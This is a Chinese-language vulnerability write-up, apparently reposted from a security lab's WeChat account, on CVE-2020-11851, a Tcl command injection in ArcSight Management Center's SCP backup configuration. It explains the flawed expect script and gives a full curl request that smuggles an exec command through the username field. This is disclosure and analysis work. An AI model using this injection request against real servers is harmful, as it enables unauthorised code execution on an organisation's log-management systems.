摘要
ArcSight Logger是一个全面的日志管理解决方案,可通过统一和存储来自其整个组织的机器数据日志,以及促进对该数据的快速搜索和报告,减轻了合规性负担并为安全专业人员提供了更快的法医调查。
ArcSight管理中心(ArcMC)是一个集中式安全管理中心,可通过单个界面管理ArcSight解决方案的大规模部署,例如ArcSight Logger,ArcSight SmartConnectors(连接器),ArcSight FlexConnectors和ArcSight连接器设备(ConApp)。
可以通过ArcSight管理中心的备份功能(版本:2.7.1.065.0)利用此漏洞。通过使用使用工具命令语言(Tcl)的ArcSight Logger的“期望”脚本,可以使用此备份选项。该漏洞使攻击者可以执行任意Tcl命令。Micro Focus ArcSight Logger产品上的此漏洞,影响7.1.1之前的所有版本。
漏洞详情
攻击者可以通过RCE漏洞来破坏运行有漏洞软件的服务器的位置,并使其成为滩头堡,攻击者可以借此从中发动对组织服务器的进一步攻击,最终构成严重破坏。此漏洞可能导致数据丢失,损坏或向未授权方披露,问责制丢失或拒绝访问。
复现攻击步骤
我们可以通过SCP协议来配置远程备份服务器。点击 "保存 "按钮后,我使用 "pspy "工具对服务器进程进行了调试,该工具可以从这里下载:https://github.com/DominicBreuker/pspy/releases。
调试服务器及根本原因分析
保存备份配置后,我检测到应用程序使用了如下的bash脚本来检查SSH服务器(请看PID 95427)。
以下是更详细的命令(PID 95427),供大家参考。
sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh
/opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/
/opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect
/opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1
UserSuppliedPassword
UserSuppliedUsernameAndHostname
UserSuppliedPortNumber
UserSuppliedBackupDirectory
在解释 "runexpect.sh "的逻辑之前,我们先来看看 "runexpect.sh "和 "scp.expect.dir.backup1"(expect脚本)的内容。
下面是 "runexpect.sh "的内容:
# Set LD_LIBRARY_PATH
export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*
exit $?
下面是名为 "scp.expect.dir.backup1 "的expect脚本的内容
set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
eval spawn ssh -p $port $host test -d $dir && echo exists //Vulnerability begins here
expect "*(yes/no)?*$" { send "yesn" }
set timeout 600
expect "*assword:*$" { send "$passwordn" }
timeout { exit 1 }
set timeout -1
expect "\$ $"
As we can see, “runexpect.sh” sets the environment variable(LD_LIBRARY_PATH) and then execute “expect” binary by using “expect” script called “scp.expect.dir.backup1”. This “expect” script gets 4 arguments to use them in “ssh” command.
我们可以看到,"runexpect.sh "设置了环境变量(LD_LIBRARY_PATH),然后通过名为 "scp.expect.dir.backup1 "的 "expect "脚本执行 "expect "二进制文件。这个 "expect "脚本得到4个参数,并在 "ssh "命令中使用它们。
真正的漏洞始于名为 "scp.expect.dir.backup1 "脚本的第5行。正如我们前面提到的,如果没有括号,用户提供的输入可能在Tcl脚本中非常危险。
获取代码执行
由于,这个代码执行漏洞是完全盲目的,所以,我用最简单的方式来演示执行。我使用了,工具 "pspy "来调试进程,并通过发送恶意的HTTP请求来说明任意代码的执行。
下面是我想要的 "expect"脚本执行的逻辑:
eval spawn ssh –p [exec id] test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome
让我们来解释一下如何实现。如果我在相关HTTP请求的 "field-username "参数中的 "字符串 "中加入空格,就会被 "expect "脚本无意中解析,因为它不验证参数数,也就是说,我可以注入[exec作为端口号和id]作为用户名。通常情况下,由于输入验证的原因,我不能注入相关HTTP请求的端口号参数(只能是数字)。
发出下面的HTTP请求后,我成功地执行了这个命令,并用 "pspy "工具打印了它的输出。
下面是我用来利用该漏洞的相应CURL请求:
curl -i -s -k -X $'POST'
-H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://hq-arc-mgmt/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName="ArcSight Management Center"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName="ArcSight Management Center"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8'
-b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName="ArcSight Management Center"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName="ArcSight Management Center"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8'
--data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All'
$'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
参考文献:
https://github.com/ch1nghz/CVE-2020-11851
本文始发于微信公众号(Khan安全攻防实验室):CVE-2020-11851 ArcSight Logger上的远程执行代码漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论